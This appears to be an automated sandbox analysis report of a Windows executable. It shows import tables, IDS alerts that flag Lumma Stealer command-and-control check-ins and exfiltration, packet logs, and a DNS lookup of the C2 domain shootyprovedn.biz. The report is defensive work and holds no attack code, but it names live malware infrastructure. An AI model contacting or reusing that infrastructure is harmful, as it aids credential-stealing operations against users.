None	0x16aca8	0x10	data	German	Germany	1.375
None	0x16acb8	0x1c	data	German	Germany	1.1785714285714286
None	0x16acd8	0xa	data	German	Germany	1.6
None	0x16ace8	0xa	data	German	Germany	1.6
None	0x16acf8	0xe	data	German	Germany	1.5
None	0x16ad08	0xa	data	German	Germany	1.8
None	0x16ad18	0xc	Windows metafile	German	Germany	1.6666666666666667
None	0x16ad28	0x18	data	German	Germany	1.2916666666666667
None	0x16ad40	0x10	data	German	Germany	1.5
None	0x16ad50	0x12	data	German	Germany	1.3888888888888888
None	0x16ad68	0xc	Windows metafile	German	Germany	1.5
None	0x16ad78	0xc	data	German	Germany	1.6666666666666667
None	0x16ad88	0xc	data	German	Germany	1.5
None	0x16ad98	0x1a	data	German	Germany	1.3461538461538463
None	0x16adb8	0x1c	data	German	Germany	1.25
None	0x16add8	0x24	data	German	Germany	1.25
None	0x16ae00	0xe	data	German	Germany	1.5714285714285714
None	0x16ae10	0xc	data	German	Germany	1.5833333333333333
None	0x16ae20	0x3c	data	German	Germany	1.1333333333333333
None	0x16ae60	0xa	data	German	Germany	1.6

Imports

DLL	Import
KERNEL32.dll	IsBadReadPtr, SetUnhandledExceptionFilter, GetDriveTypeA, GetCPInfo, LCMapStringW, LCMapStringA, FlushFileBuffers, SetStdHandle, GetStringTypeW, GetStringTypeA, LoadLibraryA, RaiseException, CompareStringA, IsBadWritePtr, VirtualAlloc, VirtualFree, HeapCreate, GetVersionExA, GetEnvironmentVariableA, GetModuleFileNameA, IsBadCodePtr, TlsAlloc, TlsSetValue, GetStartupInfoA, GetFileType, GetStdHandle, SetHandleCount, GetCommandLineA, GetCommandLineW, GetEnvironmentStrings, GetEnvironmentStringsW, FreeEnvironmentStringsW, FreeEnvironmentStringsA, UnhandledExceptionFilter, HeapSize, GetSystemTime, RtlUnwind, GetSystemTimeAsFileTime, SetCurrentDirectoryW, GetCurrentDirectoryW, SetEnvironmentVariableW, HeapFree, HeapAlloc, HeapReAlloc, GetVersion, GetStartupInfoW, GetModuleHandleA, SetEndOfFile, GetACP, GetOEMCP, SetEnvironmentVariableA, GetTempFileNameW, SetVolumeLabelW, HeapDestroy, CreateMutexW, GetProfileStringW, GetLocaleInfoW, GetNumberFormatW, GetEnvironmentVariableW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, WritePrivateProfileStringW, GetPrivateProfileIntW, GetFullPathNameW, GetDiskFreeSpaceW, GetUserDefaultLangID, GetSystemDirectoryW, TerminateProcess, GetTimeFormatW, GetDateFormatW, GetUserDefaultLCID, EnumDateFormatsW, EnumTimeFormatsW, GetShortPathNameW, GetPrivateProfileStringW, GetLocalTime, GetFileSize, SetFilePointer, SetFileTime, ReadFile, TerminateThread, GetLastError, GetCurrentProcessId, MoveFileW, MulDiv, SizeofResource, GetTimeZoneInformation, lstrcpynA, GetLogicalDrives, InitializeCriticalSection, DeleteCriticalSection, GlobalHandle, FreeResource, Sleep, CreateThread, ExitProcess, OutputDebugStringA, SetLastError, CompareStringW, lstrcpyW, FindResourceW, LoadResource, LockResource, GetCurrentProcess, FlushInstructionCache, GetLogicalDriveStringsW, GetDriveTypeW, GetFileAttributesW, lstrcatW, lstrcmpiW, lstrcmpW, FindFirstFileW, FindNextFileW, FindClose, CopyFileW, CreateDirectoryW, WideCharToMultiByte, GetModuleFileNameW, CreateFileW, WriteFile, CloseHandle, RemoveDirectoryW, SetFileAttributesW, DeleteFileW, GetTempPathW, FreeLibrary, GetVersionExW, MultiByteToWideChar, OutputDebugStringW, GlobalSize, GlobalLock, GlobalAlloc, GlobalUnlock, GetProcAddress, GlobalFree, GetWindowsDirectoryW, lstrlenA, GetModuleHandleW, GetCurrentThreadId, EnterCriticalSection, LeaveCriticalSection, InterlockedDecrement, InterlockedIncrement, lstrcpynW, lstrlenW, LoadLibraryW, TlsGetValue, InterlockedExchange
USER32.dll	MoveWindow, SetScrollInfo, IsRectEmpty, SetScrollPos, GetMenuDefaultItem, GetSystemMenu, CallNextHookEx, GetSysColorBrush, WindowFromPoint, IsMenu, TrackPopupMenuEx, PeekMessageW, GetWindowThreadProcessId, SetMenuItemInfoW, SetWindowsHookExW, UnhookWindowsHookEx, MessageBeep, InsertMenuW, CheckMenuItem, EnableMenuItem, GetWindowDC, TranslateAcceleratorW, SetWindowLongW, SendMessageW, CallWindowProcW, GetWindowLongW, wsprintfW, SetWindowTextW, SetTimer, ShowWindow, GetDlgItem, SetWindowPos, MapWindowPoints, IsDialogMessageW, LoadBitmapW, GetIconInfo, SetRect, DrawEdge, SendMessageA, TrackMouseEvent, GetDoubleClickTime, GetMessagePos, CreatePopupMenu, TrackPopupMenu, IntersectRect, EqualRect, CreateDialogParamW, FrameRect, InflateRect, PostMessageW, CopyRect, IsWindowVisible, SetClassLongW, GetKeyState, ClientToScreen, AppendMenuW, RemoveMenu, GetMenuStringW, SetForegroundWindow, SetMenu, LoadAcceleratorsW, DeleteMenu, LoadIconW, IsDlgButtonChecked, CheckDlgButton, CreateDialogIndirectParamW, GetClipboardData, SetPropW, GetWindowPlacement, EnumWindows, mouse_event, MenuItemFromPoint, GetMenu, SetWindowPlacement, SetActiveWindow, GetMenuState, InsertMenuItemW, GetClientRect, SystemParametersInfoW, GetScrollPos, GetWindow, GetParent, LoadImageW, GetSystemMetrics, GetFocus, FindWindowExW, RegisterClipboardFormatW, KillTimer, PostQuitMessage, EndDialog, GetAsyncKeyState, EnumChildWindows, MessageBoxW, CharNextW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, RemovePropW, LoadStringW, SetRectEmpty, DefWindowProcW, TranslateMessage, DispatchMessageW, SetMenuItemBitmaps, keybd_event, MapVirtualKeyW, GetScrollInfo, DrawIcon, RegisterClassW, ScrollWindowEx, IsZoomed, SendMessageTimeoutW, GetMessageW, GetMenuItemID, GetPropW, SetParent, InvalidateRgn, CreateAcceleratorTableW, GetDesktopWindow, RedrawWindow, IsChild, RegisterWindowMessageW, GetClassInfoExW, LoadCursorW, RegisterClassExW, DialogBoxIndirectParamW, MessageBoxA, IsWindowEnabled, GetSysColor, DrawFocusRect, FillRect, DrawTextW, GetClassNameW, CreateCursor, GetWindowTextLengthW, OffsetRect, LoadMenuW, DestroyMenu, DrawAnimatedRects, DestroyIcon, ShowCaret, EnableWindow, ScreenToClient, SetDlgItemTextW, GetWindowTextW, GetDlgCtrlID, DialogBoxParamW, GetActiveWindow, CharLowerW, ReleaseDC, GetDC, GetMenuItemInfoW, GetMenuItemCount, GetSubMenu, CreateWindowExW, DestroyCursor, GetCursorPos, ReleaseCapture, GetCapture, SetCapture, SetFocus, UpdateWindow, SetCursor, PtInRect, InvalidateRect, BeginPaint, DestroyWindow, IsWindow, EndPaint, SetMenuDefaultItem, CharUpperW, CopyImage, GetWindowRect, LoadStringA
GDI32.dll	Rectangle, GetBkColor, DPtoLP, LPtoDP, SetPixel, GetEnhMetaFileHeader, SetViewportExtEx, SetWindowExtEx, SetMapMode, GetViewportExtEx, GetWindowExtEx, CreateEnhMetaFileW, SelectClipRgn, DeleteEnhMetaFile, EndDoc, AbortDoc, EndPage, StartPage, ResetDCW, StartDocW, SetStretchBltMode, StretchBlt, GetCurrentObject, GetPixel, SetDIBitsToDevice, CloseEnhMetaFile, CreateDCW, SetViewportOrgEx, CreateBitmap, CreatePatternBrush, PatBlt, GetDIBits, GetTextExtentPoint32W, GetClipBox, SaveDC, ExtTextOutW, RestoreDC, CreatePen, MoveToEx, LineTo, IntersectClipRect, ExcludeClipRect, OffsetWindowOrgEx, SetWindowOrgEx, GetDeviceCaps, BitBlt, SetBkMode, DeleteDC, CreateFontIndirectW, DeleteObject, GetObjectW, CreateDIBSection, CreateCompatibleDC, SelectObject, GetStockObject, SetBkColor, SetTextColor, OffsetViewportOrgEx, CreateCompatibleBitmap, CreateSolidBrush
WINSPOOL.DRV	GetPrinterW, OpenPrinterW, ClosePrinter
comdlg32.dll	GetOpenFileNameW, PageSetupDlgW, ChooseColorW, PrintDlgW, GetSaveFileNameW
ADVAPI32.dll	RegCloseKey, RegDeleteKeyW, RegOpenKeyExW, GetUserNameW, RegCreateKeyExW, RegSetValueExW, RegDeleteValueW, RegQueryValueExW, RegOpenKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, CryptCreateHash, CryptAcquireContextW, CryptDestroyHash, CryptReleaseContext, CryptHashData, CryptGetHashParam, GetTokenInformation, RegEnumKeyExW
SHELL32.dll	SHAppBarMessage, Shell_NotifyIconW, DragFinish, SHBrowseForFolderW, ExtractIconExW, SHGetSettings, DragQueryFileW, SHGetFileInfoW, SHFileOperationW, DragAcceptFiles, SHGetDesktopFolder, SHGetSpecialFolderPathW, ShellExecuteExW, SHGetPathFromIDListW, ShellExecuteW, SHGetMalloc, SHGetSpecialFolderLocation
ole32.dll	RegisterDragDrop, OleLockRunning, CoTaskMemAlloc, StringFromCLSID, CLSIDFromString, CLSIDFromProgID, OleUninitialize, OleInitialize, CreateStreamOnHGlobal, CoTaskMemFree, PropVariantClear, ReleaseStgMedium, CoCreateInstance, DoDragDrop, OleDuplicateData, CoInitialize, CoUninitialize, OleSetClipboard, OleGetClipboard, CoSetProxyBlanket, RevokeDragDrop
OLEAUT32.dll	VariantChangeType, OleCreatePictureIndirect, DispCallFunc, SafeArrayDestroy, VariantInit, SafeArrayCreateVector, SafeArrayAccessData, SafeArrayUnaccessData, OleCreateFontIndirect, LoadRegTypeLib, SysStringLen, SysAllocString, VariantClear, SysAllocStringLen, SysFreeString
COMCTL32.dll	ImageList_LoadImageW, _TrackMouseEvent, ImageList_ReplaceIcon, ImageList_Create, ImageList_GetIconSize, ImageList_SetBkColor, InitCommonControlsEx, ImageList_DrawEx, ImageList_GetIcon, ImageList_GetImageCount, ImageList_Remove, ImageList_Destroy, ImageList_Draw, ImageList_AddMasked, ImageList_GetImageInfo, CreateStatusWindowW, PropertySheetW, DestroyPropertySheetPage, CreatePropertySheetPageW
MSIMG32.dll	AlphaBlend
gdiplus.dll	GdipSetCompositingMode, GdipImageSelectActiveFrame, GdipImageRotateFlip, GdipSetImageAttributesGamma, GdipCreateBitmapFromHBITMAP, GdipCloneBrush, GdipCreateFromHDC, GdipSetSmoothingMode, GdipSetInterpolationMode, GdipCreateSolidFill, GdipDeleteBrush, GdipDrawImageRectI, GdipGetImageWidth, GdipGetImageHeight, GdipCreateBitmapFromScan0, GdipGetImageGraphicsContext, GdipSetImageAttributesColorMatrix, GdipDrawImageRectRectI, GdipDisposeImageAttributes, GdipDeleteGraphics, GdipCreateBitmapFromFile, GdipDisposeImage, GdipFree, GdipCloneImage, GdipAlloc, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipCreateHICONFromBitmap, GdipFillPath, GdipCreatePath, GdipAddPathLineI, GdipAddPathArcI, GdipClosePathFigure, GdipDeletePath, GdiplusStartup, GdipGetPropertyItemSize, GdipGetImagePixelFormat, GdipGetImageThumbnail, GdipSetCompositingQuality, GdipCreateImageAttributes
WINMM.dll	PlaySoundW, timeGetTime
SHLWAPI.dll	PathRelativePathToW, StrCpyW

Possible Origin

Language of compilation system	Country where language is spoken	Map
German	Germany
English	United States
German	Liechtenstein

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T17:30:27.632992+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49733	172.67.194.239	443	TCP
2024-10-24T17:30:27.632992+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49733	172.67.194.239	443	TCP
2024-10-24T17:30:29.102978+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49735	172.67.194.239	443	TCP
2024-10-24T17:30:29.102978+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49735	172.67.194.239	443	TCP
2024-10-24T17:30:32.575572+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49741	172.67.194.239	443	TCP
2024-10-24T17:30:40.212671+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49746	172.67.194.239	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 17:30:26.772144079 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:26.772249937 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:26.772361994 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:26.775743961 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:26.775783062 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.420242071 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.420357943 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.425839901 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.425872087 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.426297903 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.490664959 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.490664959 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.490930080 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.633024931 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.633152008 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.633236885 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.633234024 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.633305073 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.633373976 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.633392096 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.633517027 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.633579969 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.635898113 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.635936975 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.635965109 CEST	49733	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.635978937 CEST	443	49733	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.763040066 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.763077021 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:27.764120102 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.764868975 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:27.764884949 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:28.404855013 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:28.405021906 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:28.411467075 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:28.411498070 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:28.412456036 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:28.414138079 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:28.414207935 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:28.414343119 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.103038073 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.103194952 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.103281021 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.103383064 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.103496075 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.103583097 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.103605032 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.103626013 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.103713036 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.103725910 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.103830099 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.103950024 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.103959084 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.103981018 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.104079962 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.104094028 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.146888971 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.222021103 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.222234011 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.222295046 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.222325087 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.222354889 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.222429991 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.222456932 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.222618103 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.222722054 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.222826958 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.222872019 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.222909927 CEST	49735	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.222928047 CEST	443	49735	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.437604904 CEST	49738	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.437707901 CEST	443	49738	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:29.437824965 CEST	49738	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.438368082 CEST	49738	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:29.438401937 CEST	443	49738	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:30.046056032 CEST	443	49738	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:30.046293020 CEST	49738	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:30.048049927 CEST	49738	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:30.048109055 CEST	443	49738	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:30.049047947 CEST	443	49738	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:30.077358961 CEST	49738	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:30.077461958 CEST	49738	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:30.077505112 CEST	443	49738	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:30.077591896 CEST	49738	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:30.077644110 CEST	443	49738	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:30.755492926 CEST	443	49738	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:30.755780935 CEST	443	49738	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:30.755954981 CEST	49738	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:30.757544041 CEST	49738	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:30.757595062 CEST	443	49738	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:30.863651991 CEST	49741	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:30.863720894 CEST	443	49741	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:30.863883018 CEST	49741	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:30.864294052 CEST	49741	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:30.864305973 CEST	443	49741	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:32.034517050 CEST	443	49741	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:32.034626961 CEST	49741	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:32.036289930 CEST	49741	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:32.036299944 CEST	443	49741	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:32.036951065 CEST	443	49741	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:32.045269966 CEST	49741	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:32.045423985 CEST	49741	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:32.045453072 CEST	443	49741	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:32.575603008 CEST	443	49741	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:32.575754881 CEST	443	49741	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:32.575906038 CEST	49741	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:32.576035976 CEST	49741	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:32.576055050 CEST	443	49741	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:32.769599915 CEST	49743	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:32.769689083 CEST	443	49743	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:32.769840956 CEST	49743	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:32.770387888 CEST	49743	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:32.770438910 CEST	443	49743	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:34.291208982 CEST	443	49743	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:34.291369915 CEST	49743	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:34.293292999 CEST	49743	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:34.293322086 CEST	443	49743	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:34.293667078 CEST	443	49743	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:34.307859898 CEST	49743	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:34.308051109 CEST	49743	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:34.308110952 CEST	443	49743	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:34.308195114 CEST	49743	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:34.308204889 CEST	443	49743	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:35.018239975 CEST	443	49743	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:35.018512964 CEST	443	49743	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:35.018606901 CEST	49743	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:35.018697023 CEST	49743	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:35.018737078 CEST	443	49743	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:35.476953030 CEST	49744	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:35.476995945 CEST	443	49744	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:35.477075100 CEST	49744	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:35.477473974 CEST	49744	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:35.477483988 CEST	443	49744	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:36.135046959 CEST	443	49744	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:36.135330915 CEST	49744	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:36.136818886 CEST	49744	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:36.136827946 CEST	443	49744	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:36.137844086 CEST	443	49744	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:36.139065027 CEST	49744	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:36.139194965 CEST	49744	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:36.139202118 CEST	443	49744	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:36.643450022 CEST	443	49744	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:36.643692970 CEST	443	49744	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:36.643805027 CEST	49744	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:36.644216061 CEST	49744	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:36.644237995 CEST	443	49744	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:36.761786938 CEST	49745	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:36.761884928 CEST	443	49745	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:36.761976957 CEST	49745	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:36.762397051 CEST	49745	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:36.762509108 CEST	443	49745	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:37.391839027 CEST	443	49745	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:37.391943932 CEST	49745	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:37.393650055 CEST	49745	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:37.393682003 CEST	443	49745	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:37.394026995 CEST	443	49745	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:37.409208059 CEST	49745	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:37.409331083 CEST	49745	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:37.409346104 CEST	443	49745	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:38.902693033 CEST	443	49745	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:38.902815104 CEST	443	49745	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:38.902918100 CEST	49745	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:38.903275013 CEST	49745	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:38.903301001 CEST	443	49745	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:38.954011917 CEST	49746	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:38.954054117 CEST	443	49746	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:38.954139948 CEST	49746	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:38.954631090 CEST	49746	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:38.954641104 CEST	443	49746	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:39.719398975 CEST	443	49746	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:39.719527960 CEST	49746	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:39.720912933 CEST	49746	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:39.720921993 CEST	443	49746	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:39.721421957 CEST	443	49746	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:39.723268986 CEST	49746	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:39.723325968 CEST	49746	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:39.723366976 CEST	443	49746	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:40.212711096 CEST	443	49746	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:40.212985039 CEST	443	49746	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:40.213047028 CEST	49746	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:40.213099003 CEST	49746	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:40.213114023 CEST	443	49746	172.67.194.239	192.168.2.4
Oct 24, 2024 17:30:40.213123083 CEST	49746	443	192.168.2.4	172.67.194.239
Oct 24, 2024 17:30:40.213128090 CEST	443	49746	172.67.194.239	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 17:30:26.747034073 CEST	51698	53	192.168.2.4	1.1.1.1
Oct 24, 2024 17:30:26.765886068 CEST	53	51698	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 17:30:26.747034073 CEST	192.168.2.4	1.1.1.1	0xeaa	Standard query (0)	shootyprovedn.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 17:30:26.765886068 CEST	1.1.1.1	192.168.2.4	0xeaa	No error (0)	shootyprovedn.biz		172.67.194.239	A (IP address)	IN (0x0001)	false
Oct 24, 2024 17:30:26.765886068 CEST	1.1.1.1	192.168.2.4	0xeaa	No error (0)	shootyprovedn.biz		104.21.90.42	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

shootyprovedn.biz

HTTPS Proxied Packets

